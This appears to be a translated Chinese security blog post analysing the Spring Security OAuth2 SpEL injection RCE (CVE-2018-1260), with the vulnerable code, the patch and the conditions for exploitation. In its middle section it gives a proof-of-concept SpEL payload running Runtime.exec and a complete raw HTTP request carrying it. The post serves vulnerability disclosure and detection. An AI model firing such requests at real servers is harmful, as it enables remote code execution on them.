这里我们将对Spring Security OAuth2(CVE-2018-1260)中类似的RCE漏洞进行练习。我们将介绍攻击目标,它的发现方法和利用所需的条件。此漏洞也与2016年披露的另一个漏洞有相似之处。我们将在我们分析修复的部分讨论这种相似性。
这一切都始于Find Security Bugs的bug模式SPEL_INJECTION的报告。
它报告SpelExpressionParser.parseExpression()中动态参数的使用,也是我们先前漏洞中使用的相同API。表达式解析器用于解析置于大括号 $ {...}
之间的表达式。
public SpelView(String template) { this.template = template; this.prefix = new RandomValueStringGenerator().generate() + "{"; this.context.addPropertyAccessor(new MapAccessor()); this.resolver = new PlaceholderResolver() { public String resolvePlaceholder(String name) { Expression expression = parser.parseExpression(name); //Expression parser Object value = expression.getValue(context); return value == null ? null : value.toString(); } }; }
控制器类WhitelabelApprovalEndpoint使用此SpelView类构建OAuth2授权流程。SpelView类将名为“template”的字符串(见下面的代码)认定为Spring表达式。
@RequestMapping("/oauth/confirm_access") public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception { String template = createTemplate(model, request); if (request.getAttribute("_csrf") != null) { model.put("_csrf", request.getAttribute("_csrf")); } return new ModelAndView(new SpelView(template), model); //template variable is a SpEL }
在方法createTemplate()和createScopes()之后,我们可以看到属性“scopes”被附加到HTML模板中,该模板将被认定为一个表达式。绑定到模板的唯一模型参数是CSRF token。但是,CSRF token不受远程用户的控制。
protected String createTemplate(Map<String, Object> model, HttpServletRequest request) { String template = TEMPLATE; if (model.containsKey("scopes") || request.getAttribute("scopes") != null) { template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", ""); } [...] private CharSequence createScopes(Map<String, Object> model, HttpServletRequest request) { StringBuilder builder = new StringBuilder("<ul>"); @SuppressWarnings("unchecked") Map<String, String> scopes = (Map<String, String>) (model.containsKey("scopes") ? model.get("scopes") : request .getAttribute("scopes")); //Scope attribute loaded here for (String scope : scopes.keySet()) { String approved = "true".equals(scopes.get(scope)) ? " checked" : ""; String denied = !"true".equals(scopes.get(scope)) ? " checked" : ""; String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved) .replace("%denied%", denied); builder.append(value); } builder.append("</ul>"); return builder.toString(); }
此时,我们不确定scopes属性是否可以由远程用户控制。虽然属性(req.getAttribute(..))表示存储在服务器端的会话值,但scope是OAuth2流的可选参数部分。
该参数可以被用户访问,并被保存到服务器端的属性中,最终加载到之前的模板里。
在对文档和一些测试进行了研究之后,我们发现“scopes”是隐式OAuth2流的GET参数部分。因此,隐性模式将是我们易受攻击的应用程序所必需的。
在测试我们的应用程序时,我们意识到scopes的验证是基于用户定义的scopes白名单的。如果配置了这个白名单,我们就不能随意创造scopes参数。如果scopes没有被定义,则不会对其进行验证。这种局限性可能会使大多数Spring OAuth2应用程序依旧安全。
第一个请求使用scopes ${1338-1}
,见下图。根据回应,我们现在确认scopes参数的值可以被SpelView表达式的执行。
第二个测试是使用表达式 $ {T(java.lang.Runtime).getRuntime().exec(”calc.exe“)}
来验证表达式不限于简单的算术运算。
为了更容易再现,这里是之前截下的http请求原始数据。某些字符(主要是花括号)不受Web容器支持,需要进行URL编码以访问应用程序。
{ ->%7b
POST /oauth/authorize?response_type=code&client_id=client&username=user&password=user&grant_type=password&scope=%24%7bT(java.lang.Runtime).getRuntime().exec(%22calc.exe%22)%7d&redirect_uri=http://csrf.me HTTP/1.1 Host: localhost:8080 Authorization: Bearer 1f5e6d97-7448-4d8d-bb6f-4315706a4e38 Content-Type: application/x-www-form-urlencoded Accept: */* Content-Length: 0
Pivotal团队选择的解决方案是用简单的视图替换SpelView,并进行基本的级联。
这消除了SpEL执行的所有可能路径。第一个补丁提出了一个潜在的XSS漏洞,但幸运的是,在该漏洞被公开前已经被修复。scopes值现在可以正确转义并且不受任何注入影响。
更重要的是,该解决方案提高了另一个终端的安全性:WhitelabelErrorEndpoint。该终端也不再使用Spel View。它在2016年被发现容易遭受同样的攻击。Spring-OAuth2也使用SpelView类来构建存在漏洞的页面。有趣的是,模板参数是静态的,但绑定到模板的参数是递归执行的。这意味着模型中的任何值都可能导致远程代码执行。
该递归执行通过向表达式边界添加随机前缀来修复。这个模板的安全性现在依赖于6个字符的随机性(6的62次方个可能性)。一些分析师对这种修复方案持怀疑态度,如果做了足够的尝试,就会增加风险。但是,现在这不再是一种可能性,因为SpelView也被从此终端删除。
SpelView类也存在于Spring Boot中。这个实现有一个自定义的解析器来避免递归。这意味着尽管Spring-OAuth2项目不再使用它,但其他组件或专有应用程序可能会重用(复制粘贴)此实用程序类以节省一些时间。出于这个原因,在查找安全漏洞中引入了一种寻找SpelView的新探测器。探测器不会查找特定的包名称,因为我们假定应用程序可能具有SpelView类的副本,而不是对Spring-OAuth2或Spring Boot类的引用。
我们鼓励您保持所有Web应用程序的依赖项保持最新。如果由于任何原因你必须推迟更新,以下是漏洞具体的利用条件:
1.在依赖关系树中有Spring OAuth2
2.用户必须启用隐式模式,它可以与其他授权类型一起启用
3.scope列表需要为空(未明确设置为一个或多个元素)
好消息是,并非所有OAuth2应用程序都会受到攻击。为了指定任意范围,攻击者的用户配置文件需要有一个空的scope列表。
这是SpEL注入漏洞系列的第二篇也是最后一篇文章。我们希望它为这个不太常见的漏洞类别提供了一些信息。
正如前面在第1部分中提到的,在您自己的应用程序中找到这个漏洞不太可能。它更可能出现类似于Spring-Data或Spring-OAuth的组件。如果您是Java开发人员或负责审计Java代码以确保安全的人员,则可以使用Find Security Bugs(我们用来查找此漏洞的工具)扫描您的应用程序。
https://pivotal.io/security/cve-2018-1260
https://pivotal.io/security/cve-2016-4977
https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
http://find-sec-bugs.github.io/bugs.htm#SPEL_INJECTION
审核人:yiwang 编辑:边边